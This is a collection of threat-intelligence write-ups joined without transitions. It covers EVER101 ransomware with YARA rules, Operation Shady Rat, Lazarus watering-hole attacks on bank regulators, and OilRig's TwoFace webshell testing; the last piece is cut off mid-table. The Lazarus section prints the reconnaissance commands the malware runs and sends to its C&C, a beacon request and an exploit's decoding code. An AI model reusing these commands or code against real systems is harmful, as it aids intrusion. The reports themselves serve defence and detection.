encoding itself was custom developed, rather than originating from well-known algorithms, which enabled us to progress our investigation of further threats. #### Algorithm Analysis Because the ransomware uses RSA-2048 and Salsa20 to perform file encryption, a public RSA key is hardcoded into the binary, and stored in a hexadecimal encoded format. This RSA key is stored as a Microsoft PUBLICKEYBLOB, allowing it to be imported using Windows API. Unlike several other ransomware variants, this variant generates only a single Salsa20 key on each run. This means all files on a particular system will be encrypted using the same Salsa20 key. The key is generated through several calls in the CryptoPP library, alongside the CryptGenRandom() call. Once generated, it is immediately encrypted with the hardcoded RSA-2048 key, and then converted into a hexadecimal format—similar to the format of the stored RSA key. This newly created hexadecimal blob is then appended to all encrypted files, allowing the decryption tool to extract the last 512 bytes of a file, decrypt it using the attackers’ RSA private key, and gain the file’s Salsa20 key. ## Threat Intelligence ### Decryption Tutorial After requesting proof-of-concept for the decryption process, the attackers did something unexpected. They sent an mp4 file with the name “LOOK!” containing a short video (1:29 min) of how the files are decrypted. The tutorial contains a few interesting details, including the fact that they chose to use WinRAR in Arabic. Although it does not offer a specific lead, it is worth mentioning as their language is one of the few hints we have for attribution. In addition, the video was captured using a free software called BandiCam. This software was spotted on other occasions when attackers used it to record tutorials. ### Code Similarity During our investigation, we noticed the encoding algorithm for the command to delete shadow files did not match any well-known encoding algorithms, leading us to look into its origins. We were able to locate this algorithm in a number of files, all red-flagged as ransomware. We reverse-engineered these files and confirmed that the EVER101 ransomware is almost identical to a number of ransomware families, most especially CURATOR and Paymen45. Therefore, we feel confident in concluding that this particular ransomware was most likely built through a "Ransomware-as-a-Service" builder, rather than being fully developed by the threat actors. ## Decryptor Analysis Once the decryptor was received, we focused our efforts on analyzing whether it functioned as the threat actors promised—or whether it contained anything malicious. We discovered that the threat actors, in a surprising move, used multiple RSA public-private key pairs across the infected machines, which we were unable to retrieve based on our investigation of the one recovered sample. The decryptor itself is simply a reversed version of the ransomware. It uses the on-board RSA-2048 private key (stored in a section labelled .INFO) to decrypt any files that match a hardcoded specification (appended with the .EVER101 extension), which then decrypts the hexadecimal blob appended to the file, in order to obtain the Salsa20 file key. As Salsa20 is a symmetric algorithm, the same key used for encryption is used for decryption. From there, it will overwrite the encrypted file with the decrypted data, and move onto the next file. Additionally, it deletes all files with the name !=READMY=!.txt, thus removing any evidence of the prior ransomware infection. Comparison of the received decryption tools indicated that the only change across all binaries was the .INFO section, which contains three basic pieces of information: the RSA-2048 private key, the file extension to be identified, and the ransom note file name. This further indicates the likely usage of a ransomware builder by the threat actors, as this information could all be incorporated in the main code base, rather than being appended to the binary—which is highly unusual. ## Bitcoin Tracing Once the ransom was paid, we continued tracing the movement of the bitcoin, using CipherTrace, to investigate where the coins were flowing to. In general, the movement did not seem sophisticated, unlike prior cases in which several services were used to convert one currency to another. However, we did make one fascinating discovery. One of the branches in the CipherTrace graph indicates that on May 18, 2020, 0.01378880 BTC was transferred to a wallet (around US $590) linked to a site called RubRatings. The site describes itself as a “platform of providers offering body rubs and sensual massages to clients in major cities across the US.” The wallet in question seems to link to a Tip Jar functionality available on the site, which provides a method for clients to send bitcoin to specific individuals. This discovery suggests one of two possibilities. The first is that the threat actor(s) are new to the game, and they thought the bitcoin had been hidden successfully. As a result, they decided to pay for services provided through the site, through the Tip Jar functionality or through direct communication with the provider. This would indicate that the attackers are US-based, as the site only provides services to clients in American cities. The second possibility is that the provider on the site was used as another method of obfuscating the bitcoin movement. It could be that the provider who possesses the bitcoin wallet in question was working with the threat actor(s), but more likely, it is a fake account set up to enable money transfers. The bitcoin in the wallet linked to RubRatings received the payment around 15:48 UTC, and it left the wallet just a few minutes later, at 15:51 UTC. As of now, we cannot be sure of the processes that individual tips follow, whether the wallets are linked to the site operator and are then distributed to the provider in question, or if it was the provider who moved it out quickly. Regardless, it is an extremely interesting discovery, and we believe this case to be the first of its kind. ## IOCs & Yara Rules **Binary IOCs (MD5):** Ransomware Binary: RA64.exe: ea504e669073d9e506fb403e633a68c8 Analysed Decryption Tool: 10.10.10.7.exe: 55bd82c389e69098774b5a500aa0b316 Tools: xDedicLogCleaner.exe: 0f34ab1e2166cada2be7c551e026507c PH64.exe: b365af317ae730a67c936f21432b9c71 Cobalt Strike: winhlp_32.exe: d1dd5ffa647734fdcf784dfbc9ffc90d SystemBC: VmManagedSetup.exe: 383a80304cc43365619d7e20b9d54d56 **SystemBC YARA Rule** ```yara import "pe" rule vm_managed_systembc_rule { meta: description = "exe - file VmManagedSetup.exe" author = "Daniel Bunce of Security Joes & Profero" hash = "299894D56BE26CA9304927848951235C61322FEF" reference = "https://www.virustotal.com/gui/file/2f90da6517ba31d42cd907480ded408e711761fb727c89baef821e040485365a/community" strings: $str_config_marker = "BEGINDATA" fullword ascii $str_hardcoded_ip = "92.53.90.84" fullword ascii $str_execute_ps1 = "-WindowStyle Hidden -ep bypass -file" fullword ascii $compare_xordata = { 81 3D ?? ?? ?? ?? 78 6F 72 64 ?? ?? 81 3D ?? ?? ?? ?? 61 74 61 00 } condition: uint16(0) == 0x5a4d and 3 of them } ``` **Cobalt Strike YARA Rule (may yield some False Positives)** ```yara import "pe" rule winhlp_cobaltstrike_rule { meta: description = "exe - file winhlp_32.exe" author = "Daniel Bunce of Security Joes & Profero" hash = "DBA5A62139B439E23DEAF854A0FEA9973BEBB33E" reference = "Possible weak link in terms of technique: https://blog.talosintelligence.com/2017/04/threat-roundup-0421-0428.html" notes = "Basically a modified WEXTRACT.EXE binary, attackers have overwritten a function to decrypt and execute their cobalt stager" strings: $str_rundll_cmd = "rundll32.exe %s,InstallHinfSection %s 128 %s" fullword ascii $str_runonce_reg = "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce" fullword ascii $str_cmd_line = "Command.com /c %s" fullword ascii $str_filename = "msdownld.tmp" fullword ascii $str_loadstring_error = "LoadString() Error. Could not load string resource." fullword ascii $str_pdb = "wextract.pdb" fullword ascii condition: uint16(0) == 0x5a4d and all of them and for any i in (0 .. pe.number_of_signatures) : ( pe.signatures[i].issuer contains "Microsoft Windows" and pe.signatures[i].serial == "33:00:00:00:4e:a1:d8:07:70:a9:bb:e9:44:00:00:00:00:00:4e" ) } ``` **EVER101 Ransomware YARA Rule** ```yara import "pe" rule ever101_paymen45_rule { meta: description = "exe - file 64RA.exe" author = "Daniel Bunce of Security Joes & Profero" hash = "32EDA62ED3B0E642072079DE2FFDDF686A5783A0" reference = "https://0xsakura.me/paymen45-ransomware-analysis-and-developing-decryptor/" strings: $str_extension = ".ever101" fullword wide $str_ransom_placeholder = "{KEY11111}" fullword wide $str_post_data = {25 00 73 00 7c 00 44 00 45 00 4c 00 49 00 4d 00 49 00 54 00 45 00 52 00 7c 00 4e 00 61 00 6d 00 65 00 28 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 29 00 3a 00 20 00 25 00 73 00 28 00 25 00 73 00 29 00 0d 00 0a 00 43 00 50 00 55 00 3a 00 20 00 25 00 53 00 0d 00 0a 00 52 00 41 00 4d 00 3a 00 20 00 25 00 64 00 0d 00 0a 00 44 00 69 00 73 00 6b 00 73 00 20 00 63 00 6f 00 75 00 6e 00 74 00 3a 00 20 00 25 00 64 00 0d 00 0a 00 46 00 69 00 6c 00 65 00 73 00 20 00 63 00 6f 00 75 00 6e 00 74 00 3a 00 20 00 25 00 64 00 7c 00 44 00 45 00 4c 00 49 00 4d 00 49 00 54 00 45 00 52 00 7c} $str_tor_link = "https://dist.torproject.org/torbrowser/8.5.3/tor-win32-0.3.5.8.zip" fullword wide $str_error_msg = "RandomNumberGenerator: IncorporateEntropy not implemented" fullword ascii $string_decode_x64 = { 8A C1 02 02 32 C1 02 C1 34 A7 2C 1D 32 C1 02 C1 34 86 02 C1 32 C1 02 C1 32 C1 2C 14 32 C1 02 C1 FF C1 } $encoded_vssadmin = { 8E 84 AF A8 B8 AA AD 49 00 51 3D 3F 27 2D 59 EF } condition: uint16(0) == 0x5a4d and 3 of ($str_*) and $string_decode_x64 or $encoded_vssadmin } ``` ## References 1. [Any.run](https://app.any.run/tasks/736caba7-a5a5-4cc2-8d7d-216124e1a4df/) 2. [ProcessHacker](https://processhacker.sourceforge.io/) 3. [SoftPerfect Network Scanner](https://www.softperfect.com/products/networkscanner/) 4. [US-CERT](https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a) 5. [The DFIR Report](https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/) 6. [Cobalt Strike](https://www.cobaltstrike.com/) 7. [Proofpoint](https://www.proofpoint.com/us/threat-insight/post/systembc-christmas-july-socks5-malware-and-exploit-kits) 8. [CryptoPP](https://github.com/weidai11/cryptopp) 9. [Microsoft Documentation](https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/ns-wincrypt-publickeystruc) 10. [PCRisk](https://www.pcrisk.com/removal-guides/17725-paymen45-ransomware)
# Exclusive: Operation Shady Rat— ## Unprecedented Cyber-espionage Campaign and Intellectual-Property Bonanza For at least five years, a high-level hacking campaign—dubbed Operation Shady Rat—has infiltrated the computer systems of national governments, global corporations, nonprofits, and other organizations, with more than 70 victims in 14 countries. Lifted from these highly secure servers, among other sensitive property, are countless government secrets, email archives, legal contracts, and design schematics. Here, Vanity Fair’s Michael Joseph Gross breaks the news of Operation Shady Rat’s existence and speaks to the McAfee cyber-security expert who discovered it. When the history of 2011 is written, it may well be remembered as the Year of the Hack. Long before the saga of News of the World phone hacking began, stories of computer breaches were breaking almost every week. In recent months, Sony, Fox, the British National Health Service, and the websites of PBS, the U.S. Senate, and the C.I.A., among others, have all fallen victim to highly publicized cyber-attacks. Many of the breaches have been attributed to the groups Anonymous and LulzSec. Dmitri Alperovitch, vice president of threat research at the cyber-security firm McAfee, says that for him, “it’s been really hard to watch the news of this Anonymous and LulzSec stuff, because most of what they do, defacing websites and running denial-of-service attacks, is not serious. It’s really just nuisance.” “Just nuisance,” that is, compared with a five-year campaign of hacks that Alperovitch discovered and named Operation Shady Rat—a campaign that continues even now, and is being reported for the first time today, by vanityfair.com, and in a lengthier report on the larger problem of industrial cyber-espionage in the September issue of Vanity Fair. Operation Shady Rat ranks with Operation Aurora (the attack on Google and many other companies in 2010) as among the most significant and potentially damaging acts of cyber-espionage yet made public. Operation Shady Rat has been stealing valuable intellectual property (including government secrets, email archives, legal contracts, negotiation plans for business activities, and design schematics) from more than 70 public- and private-sector organizations in 14 countries. The list of victims, which ranges from national governments to global corporations to tiny nonprofits, demonstrates with unprecedented clarity the universal scope of cyber-espionage and the vulnerability of organizations in almost every category imaginable. In Washington, where policymakers are struggling to chart a strategy for combating cyber-espionage, Operation Shady Rat is already drawing attention at high levels. Last week, Alperovitch provided confidential briefings on Shady Rat to senior White House officials, executive-branch agencies, and congressional-committee staff. Senator Dianne Feinstein (D-CA), chairman of the Senate Select Committee on Intelligence, reviewed the McAfee report on Shady Rat and wrote in an email to Vanity Fair: “This is further evidence that we need a strong cyber-defense system in this country, and that we need to start applying pressure to other countries to make sure they do more to stop cyber hacking emanating from their borders.” McAfee says that victims include government agencies in the United States, Taiwan, South Korea, Vietnam, and Canada, the Olympic committees in three countries, and the International Olympic Committee. Rounding out the list of countries where Shady Rat hacked into computer networks are Japan, Switzerland, the United Kingdom, Indonesia, Denmark, Singapore, Hong Kong, Germany, and India. The vast majority of victims—49—were U.S.-based companies, government agencies, and nonprofits. The category most heavily targeted was defense contractors—13 in all. In addition to the International Olympic Committee, the only other victims that McAfee has publicly named are the World Anti-Doping Agency, the United Nations, and ASEAN, the Association of Southeast Asian Nations (whose members are Indonesia, Malaysia, the Philippines, Singapore, Thailand, Brunei, Burma [Myanmar], Cambodia, Laos, and Vietnam). In an email to vanityfair.com, I.O.C. communications director Mark Adams wrote, “If proved true, such allegations would be disturbing. However, the IOC is transparent in its operations and has no secrets that would compromise either our operations or our reputation.” WADA spokesman Terence O’Rourke wrote in an email that “WADA is constantly alert to the dangers of cyber hacking and maintains a vigilant security system on all of its computer programs.” He added that “WADA’s Anti-Doping Administration & Management System (ADAMS), which is on a completely different server to WADA’s emails, has never been compromised and remains a highly-secure system for the retention of athlete data.” A prominent cyber-security expert who was briefed by McAfee on the intrusions says that the Associated Press was also a victim. McAfee declined to comment on that suggestion. Jack Stokes, A.P. media-relations manager, said, “We don’t comment on our network security,” when asked if it was true that the A.P. was among Shady Rat’s victims. Alperovitch believes the hacking was state-sponsored, pointing to Shady Rat’s targeting of Olympic committees and political nonprofits as evidence, and contending that “[t]here’s no economic gain” to spying on them. Citing McAfee company policy, he refused to speculate on which country was behind Shady Rat. One leading cyber-espionage expert, however, thinks the likely culprit’s identity is clear. “All the signs point to China,” says James A. Lewis, director and senior fellow of the Technology and Public Policy Program at the Center for Strategic and International Studies, adding, “Who else spies on Taiwan?” Alperovitch first picked up the trail of Shady Rat in early 2009, when a McAfee client, a U.S. defense contractor, identified suspicious programs running on its network. Forensic investigation revealed that the defense contractor had been hit by a species of malware that had never been seen before: a spear-phishing email containing a link to a web page that, when clicked, automatically loaded a malicious program—a remote-access tool, or RAT—onto the victim’s computer. The RAT opened the door for a live intruder to get on the network, escalate user privileges, and begin exfiltrating data. After identifying the command-and-control server, located in a Western country, that operated this piece of malware, McAfee blocked its own clients from connecting to that server. Only this March, however, did Alperovitch finally discover the logs stored on the attackers’ servers. This allowed McAfee to identify the victims by name (using their Internet Protocol [I.P.] addresses) and to track the pattern of infections in detail. The evolution of Shady Rat’s activity provides more circumstantial evidence of Chinese involvement in the hacks. The operation targeted a broad range of public- and private-sector organizations in almost every country in Southeast Asia—but none in China. And most of Shady Rat’s targets are known to be of interest to the People’s Republic. In 2006, or perhaps earlier, the intrusions began by targeting eight organizations, including South Korean steel and construction companies, a South Korean government agency, a U.S. Department of Energy laboratory, a U.S. real-estate company, international-trade organizations of Western and Asian nations, and the ASEAN Secretariat. (According to McAfee’s “Operation Shady Rat” white paper, “[t]hat last intrusion began in October [2006], a month prior to the organization’s annual summit in Singapore, and continued for another 10 months.”) In 2007, the activity ramped up to hit 29 organizations. In addition to those previously targeted, new victims included a technology company owned by the Vietnamese government, four U.S. defense contractors, a U.S. federal-government agency, U.S. state and county government organizations, a computer-network-security company—and the national Olympic committees of two countries in Asia and one in the West, as well as the I.O.C. The Olympic organizations, strikingly, were targeted in the months leading up to the 2008 Olympic Games in Beijing. Shady Rat’s activity continued to build in 2008, when it infiltrated the networks of 36 organizations, including the United Nations—and reached a crest of 38 organizations, including the World Anti-Doping Agency, in 2009. Since then, the victim numbers have been dropping, but the activity continues. Shady Rat’s command-and-control server is still operating, and some organizations, including the World Anti-Doping Agency, were still under attack as of last month. (As of Tuesday, according to a WADA spokesman, the group was unaware of any breach, but “WADA is investigating” McAfee’s discovery.) The longest compromise duration—“on and off for 28 months,” according to McAfee’s report—was one Asian country’s Olympic committee. Many others were compromised for two full years. Nine organizations were compromised for one month or less. All others were compromised for a minimum of one month, potentially allowing for complete access to all data on their servers. Alperovitch says that McAfee is “working closely with U.S. government agencies, a variety of them, law enforcement and others,” in hopes of eventually shutting down Shady Rat’s command-and-control server. (He declined to say whether U.S. intelligence agencies are involved in the investigation.) Alperovitch’s diagnosis of the problem raised by Shady Rat is troubling: “It’s clear from this and other attacks we’ve been witnessing that there is an unprecedented transfer of wealth in the form of trade secrets and I.P., primarily from Western organizations and companies, falling off the truck and disappearing into massive electronic archives. What is happening to this data? Is this being accumulated in a giant, Indiana Jones–type warehouse? Or is it being used to create new products? If it’s the latter, we won’t know for a number of years. But if so, it’s not just a problem for these companies, but also for the governments of the countries where these companies are located, because they’re losing their economic advantage to competitors in other parts of the world overnight. That is a national-security problem, insofar as it leads to loss of jobs and lost economic growth. That’s a serious threat.” His account of attempting to inform some of Shady Rat’s victims may be even more troubling. Some victims seem determined to deny they’ve been attacked, even when offered empirical proof that a smash-and-grab has taken place. Two weeks ago, McAfee sent emails to officials at four organizations, informing them that their computer networks had been compromised. To each, Alperovitch wrote, “We would be glad to work with you and provide our assistance … to help you determine the impact of the intrusion … or how to prevent this type of infiltration in the future.” Three of those organizations— including one whose breach is ongoing—made no response to McAfee’s notifications. Even after McAfee’s second attempt to offer information about the breaches to two of the groups, Alperovitch says, they expressed no interest in learning details of the intrusions. The spokesman for one of those organizations, WADA, told me that he considered Alperovitch’s first email to be “spam.” He said, “We are conducting our own investigation of the allegations.” When asked why WADA chose not to accept McAfee’s offer to provide detailed information that could help in that investigation, the spokesman answered, “I am under no obligation to answer your questions about my investigation.” (Later that day, according to McAfee, WADA did request information concerning the attack.) “We’ve seen this before,” Alperovitch says. “Victims don’t want to know they’re victims. I guess that’s just victim psychology: if you don’t know about it, it’s not really happening.”
# LAZARUS & WATERING-HOLE ATTACKS On 3rd February 2017, researchers at badcyber.com released an article that detailed a series of attacks directed at Polish financial institutions. The article is brief, but states that "This is – by far – the most serious information security incident we have seen in Poland," followed by a claim that over 20 commercial banks had been confirmed as victims. This report provides an outline of the attacks based on what was shared in the article and our own additional findings. ## ANALYSIS As stated in the blog, the attacks are suspected of originating from the website of the Polish Financial Supervision Authority (knf.gov.pl). From at least 2016-10-07 to late January, the website code had been modified to cause visitors to download malicious JavaScript files from the following locations: - hxxp://sap.misapor.ch/vishop/view.jsp?pagenum=1 - hxxps://www.eye-watch.in/design/fancybox/Pnf.action Both of these appear to be compromised domains given they are also hosting legitimate content and have done so for some time. The malicious JavaScript leads to the download of malware to the victim’s device. Some hashes of the backdoor have been provided in BadCyber's technical analysis: - 85d316590edfb4212049c4490db08c4b - c1364bbf63b3617b25b58209e4529d8c - 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae The C&Cs given in the BadCyber analysis were the following IP addresses: - 125.214.195.17 - 196.29.166.218 ## LAZARUS MALWARE Only one of the samples referenced by BadCyber is available in public malware repositories. At the moment, we cannot verify that it originated from the watering-hole on the KNF website – but we have no reason to doubt this either. **MD5 hash**: 85d316590edfb4212049c4490db08c4b **Filename**: gpsvc.exe **File Info**: Win32 (736 KB) **First seen**: 2017-01-26 **Origin**: PL The file is packed with a commercial packer known as 'Enigma Protector'. Once unpacked, it drops a known malware variant, which has been seen as part of the Lazarus group’s toolkit in other cases over the past year. The unpacked executable takes several command line arguments: - `-l`: list service names, available for its own registration - `-o`: open specified event - `-t`: set specified event - `-x [PASSWORD] -e [SERVICE_NAME]`: drop/install DLL under specified [SERVICE_NAME] - `-x [PASSWORD] -f [SERVICE_NAME]`: recreate the keys that keep the password for the next stage DLL, under the specified [SERVICE_NAME] The provided password's MD5 hash is used as an RC4 password. On top of that, there is one more RC4 round, using a hard-coded 32-byte RC4 password: ``` 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 ``` Once the data is decrypted with two RC4 rounds, the dropper checks the decrypted data contains a valid 4-byte signature: `0xBC0F1DAD`. ## WATERING HOLE ANALYSIS The attacker content on the compromised sap.misapor.ch site was not accessible at the time of writing. However, archived versions of some pages can be found: - http://web.archive.org/web/20170203175640/https://sap.misapor.ch/Default.html - http://web.archive.org/web/20170203175641/https://sap.misapor.ch/Silverlight.js The Default.html contains code to load MisaporPortalUI.xap – a Silverlight application which likely would contain the malicious first-stage implant. This is unfortunately not available for analysis currently. The eye-watch.in domain appears to have been used in watering-hole attacks on other financial sector websites. On 2016-11-08, we observed connections to the site referred from: - hxxp://www.cnbv.gob.mx/Prensa/Paginas/Sanciones.aspx This is the page for the Comisión Nacional Bancaria y de Valores (National Banking and Stock Commission of Mexico), specifically the portion of their site that details sanctions made by the Mexican National Banking Commission. This organization is the Mexican banking supervisor and the equivalent of Poland's KNF. In this instance, the site redirected to the following URL: - hxxp://www.eye-watch.in/jscroll/images/images.jsp?pagenum=1 At the time of writing, the compromise is no longer present and no archived versions of the page exist to show where the compromise was located. A further instance of the malicious code appears to have been present on a bank website in Uruguay around 2016-10-26 when a PCAP of browsing to the website was uploaded to VirusTotal.com. This shows a GET request made to: - hxxp://brou.com.uy Followed shortly after by connections to: - www.eye-watch.in:443 Unfortunately, the response was empty and it is not possible to assess what may have been delivered. ## ADDITIONAL MALWARE AND EXPLOIT ACTIVITY The compromised eye-watch.in domain has been associated with other malicious activity in recent months. Below is a list of samples which have used the site: | MD5 Hash | Filename | File Info | First Seen | Origin | |--------------------------------------------|----------------|-----------|--------------|--------| | 4cc10ab3f4ee6769e520694a10f611d5 | cambio.xa | ZIP | 2016-10-05 | JP | | cb52c013f7af0219d45953bae663c9a | svchost.exe | Win32 | 2016-10-24 | PL | | 1f7897b041a812f96f1925138ea38c46 | gpsvc.exe | Win32 | 2016-10-27 | UY | | 911de8d67af652a87415f8c0a30688b2 | gpsvc.exe | Win32 | 2016-10-28 | US | | 1507e7a741367745425e0530e23768e6 | gpsvc.exe | Win32 | 2016-11-15 | N/A | The last four samples can loosely be categorized as the same malware variant; however, the first sample appears to be a separate exploit. It is worth noting that these samples were all compiled after the domain began being used alongside the knf.gov.pl watering-hole. Additionally, the samples uploaded from Poland and Uruguay match with the watering-hole activity observed – suggesting this is all part of the same campaign. Despite this potential connection to the Poland bank compromises, the malware is not particularly advanced – for example, using basic operations to gather system information. The malware attempts to run a series of commands with cmd.exe and then returns the result via the C&C, eye-watch.in. These commands are as follows: - `cmd.exe /c hostname` - `cmd.exe /c whoami` - `cmd.exe /c ver` - `cmd.exe /c ipconfig -all` - `cmd.exe /c ping www.google.com` - `cmd.exe /c query user` - `cmd.exe /c net user` - `cmd.exe /c net view` - `cmd.exe /c net view /domain` - `cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings"` - `cmd.exe /c tasklist /svc` - `cmd.exe /c netstat -ano | find "TCP"` An example C&C beacon is seen below: ``` GET /design/dfbox/list.jsp?action=What&u=10729854751740 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 Host: www.eye-watch.in ``` ## SILVERLIGHT XAP FILE The cambio.xap archive sample (4cc10ab3f4ee6769e520694a10f611d5) does not use eye-watch.in as a C&C channel but instead was downloaded from the URL: - hxxps://www.eye-watch.in/design/fancybox/include/cambio.xap 'cambio' is Spanish for 'change'. The URL is similar to that noted in the BadCyber blog, and the use of an XAP file matches what can be found in the Archive.org cache for the sap.misapor.ch site. XAP is a software package format used for Microsoft Silverlight applications. It can be opened as a standard ZIP archive and contains the following files: - AppManifest.xaml - Shell_siver.dll - System.Xml.Linq.dll Together they form a re-packaged exploit for Silverlight based on CVE-2016-0034 (MS16-006) – a Silverlight Memory Corruption vulnerability. The exploit has previously been used by several exploit kits including RIG and Angler to deliver multiple crimeware tools. The Shell_siver.dll file contains a compile path: `c:\Users\KKK\Desktop\Shell_siver\Shell_siver\obj\Release\Shell_siver.pdb`. Internally, the code of this DLL loads a 2nd stage library called binaryreader.Exploit. This 2nd stage payload DLL contained within the assembly is 30,720 bytes in size and encoded with XOR 56: ```csharp Buffer.BlockCopy(Resource1._1, 54, array, 0, 30720); try { for (int i = 0; i < array.Length; i++) { byte b = 56; array[i] ^= b; } } ``` Once the payload stub is decoded, it represents itself as a PE-image, which is another .NET 4.0 assembly with the internal name binaryreader.dll. This second-stage DLL assembly, binaryreader.dll, is heavily obfuscated. The DLL (MD5 hash: 7b4a8be258ecb191c4c519d7c486ed8a) is identical to the one reported in a malware traffic analysis blog post from March 2016 where it was used to deliver Qbot. Thus, it is likely the code comes from a criminal exploit kit which is being leveraged for delivery in this campaign. A similarly named cambio.swf (MD5 hash: 6dffcfa68433f886b2e88fd984b4995a) was uploaded to VirusTotal from a US IP address in December 2016. ## IP WHITELISTS When examining the code on the exploit kit website, a list of 255 IP address strings was found. The IPs only contained the first 3 octets and would have been used to filter traffic such that only IPs on that subnet would be delivered the exploit and payload. The IP addresses corresponded to a mix of public and private financial institutions spread across the globe. However, banks in some specific countries feature prominently in the list: | Rank | Country | Count | |------|------------------|-------| | 1 | Poland | 19 | | 2 | United States | 15 | | 3 | Mexico | 9 | | 4 | United Kingdom | 7 | | 5 | Chile | 6 | | 6 | Brazil | 5 | | 7 | Peru | 3 | | 7 | Colombia | 3 | | 7 | Denmark | 3 | | 7 | India | 3 | The prominence of Polish and Mexican banks matches the observation of watering-hole code on sites in both countries. ## CONCLUSIONS The evidence available is currently incomplete, and at the moment we can only conclude the following: - There has been a series of watering hole attacks on bank supervisor websites in Poland & Mexico, and a state-owned bank in Uruguay in recent months. These leverage Silverlight and Flash exploits to deliver malware. - Investigators in Poland have identified known Lazarus group implants on bank networks and associated this with the recent compromise of the Polish Financial Supervision Authority's website. The technical/forensic evidence to link the Lazarus group actors (who we believe are behind the Bangladesh Bank attack and many others in 2016) to the watering-hole activity is unclear. However, the choice of bank supervisor/state-bank websites would be apt, given their previous targeting of Central Banks for heists – even when it serves little operational benefit for infiltrating the wider banking sector. Nonetheless, further evidence to connect together the pieces of this attack is needed, as well as insights into the end-goal of the culprits. We are continuing our analysis of new artifacts as they emerge and may issue further updates in due course. ## RECOMMENDATIONS We recommend organizations use the indicators provided in Appendix A to update their defensive systems to identify attacks. For compromised legitimate websites, we would suggest a minimum 1-month block be placed on the domain. Patches against CVE-2016-0034 should be applied as soon as possible. ## APPENDIX A - INDICATORS OF ATTACK **C&C IP address**: - 125.214.195.17 - 196.29.166.218 **Compromised site**: - knf.gov.pl (currently clean) - www.cnbv.gob.mx (currently clean) - brou.com.uy (currently clean) - sap.misapor.ch - www.eye-watch.in **MD5 Hashes**: - c1364bbf63b3617b25b58209e4529d8c - 85d316590edfb4212049c4490db08c4b - 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae - 1507e7a741367745425e0530e23768e6 - 911de8d67af652a87415f8c0a30688b2 - 1f7897b041a812f96f1925138ea38c46 - cb52c013f7af0219d45953bae663c9a2 - 4cc10ab3f4ee6769e520694a10f611d5 - 7b4a8be258ecb191c4c519d7c486ed8a
# OilRig Performs Tests on the TwoFace Webshell **By Robert Falcone** **December 11, 2017** ## Summary Unit 42 is well aware of the OilRig threat group conducting testing activities on their tools prior to their use in active operations. We first discussed OilRig’s testing activity in our April 2017 blog, which provided an analysis of the changes made to the Clayslide delivery documents in order to evade detection. On November 15, 2017, we observed an OilRig developer testing the TwoFace webshell, which we first wrote about in our July 2017 blog. We specifically observed the developer testing a version that we call the TwoFace++ variant. In this blog, we will provide an analysis of the testing activities carried out in this series of testing, which clearly shows the developer making changes to the TwoFace webshell and looking for increases and decreases in the detection rate to determine the detected content. ## Testing Activity As in our previous analysis of OilRig testing activities, our analysis of this testing activity began with gathering a collection of related TwoFace loader samples. For this blog, we included only the TwoFace loader samples that were created specifically to determine what security vendors detect within the TwoFace loader script. We used the same methodology to analyze the testing activity as previous OilRig testing activities, specifically by comparing each file in sequence to see the changes the developer made in each iteration of testing. The flowchart in Figure 1 has similar elements to the flowchart we included with our previous analysis of OilRig testing activities. However, we have changed the decisions in the flowchart to more closely reflect the activities we observed in the testing of TwoFace. The testing of TwoFace did not stop when the developer successfully reduced the detection rate to 0, as the developer continues to make modifications to determine the exact code within TwoFace that caused detection. The developer only ceases testing activities when they know exactly what the security vendors are using to detect the script. ## Testing Analysis The testing activity started on November 15, 2017, at 8:51 AM and ended at 9:07 AM (UTC), which resulted in the developer making 22 modifications to the TwoFace loader script in sixteen minutes throughout the iterations of testing. If you recall from our previous research, TwoFace is comprised of two parts: a loader script and an embedded payload webshell. The observed testing activity focused on the TwoFace loader script, which is responsible for obtaining a decryption key from inbound requests, decrypting an embedded webshell, and saving the decrypted webshell to the webserver. **Table 1** shows the files created during the iterations of testing activity, along with their filename and the number of vendors detecting the file as malicious. The delta column shows the time between each testing iteration, which shows that the developer was rapidly making changes to these files. Also, there is a noticeable pattern in the filenames with a majority of the names being “out2.aspx”, but “out1.aspx”, “in1.aspx”, and “w1.aspx” being used as well. | Iteration | Date | Delta (min:sec) | SHA256 | Filename | AV | |-----------|------------|------------------|------------------------------------|------------|----| | Base | 11/15/17 | | 4be8a58d4bd73af4d4e2... | out1.aspx | 3 | | 1 | 11/15/17 | 01:30 | 23dd0e94999d9f7dc764... | in1.aspx | 3 | | 2 | 11/15/17 | 02:02 | da280d5b0955fc1dce27... | out2.aspx | 2 | | 3 | 11/15/17 | 09:41 | e7963620205f52b5e264... | out2.aspx | 2 | | 4 | 11/15/17 | 00:55 | 387738ad7e732ad3b63a... | out2.aspx | 2 | | 5 | 11/15/17 | 05:18 | a443f6918d4ea0caca0b... | out2.aspx | 0 | | 6 | 11/15/17 | 01:27 | bd0d9f267318da819791... | out2.aspx | 1 | | 7 | 11/15/17 | 02:06 | fcecc7392b8a51c215f5... | out2.aspx | 0 | | 8 | 11/15/17 | 01:18 | bc76fea3f9b549799f73... | out2.aspx | 0 | | 9 | 11/15/17 | 02:16 | a6c62217c27a0bc0a5d9... | w1.aspx | 0 | | 10 | 11/15/17 | 01:22 | 9fd3672c9d3d43755495... | out2.aspx | 1 | | 11 | 11/15/17 | 12:05 | d3983d0bccd38b6198f9... | w1.aspx | 0 | | 12 | 11/15/17 | 01:19 | 5979506165bb489dae08... | out2.aspx | 0 | | 13 | 11/15/17 | 00:50 | 3b2546a57b6edf57c7dc... | out2.aspx | 0 | | 14 | 11/15/17 | 01:00 | 9ecd1f1761988994511a... | out2.aspx | 0 | | 15 | 11/15/17 | 01:04 | fc35c1b6524969320365... | out2.aspx | 0 | | 16 | 11/15/17 | 01:27 | 59155e0db84ca2aa4a4f... | out2.aspx | 0 | | 17 | 11/15/17 | 00:57 | aa8be54babad2c70d51a... | out2.aspx | 0 | | 18 | 11/15/17 | 00:46 | e3f1e7021604e7d7a7a7... | out2.aspx | 1 | | 19 | 11/15/17 | 05:08 | 65d744d907c8d69100ba... | out2.aspx | 1 | | 20 | 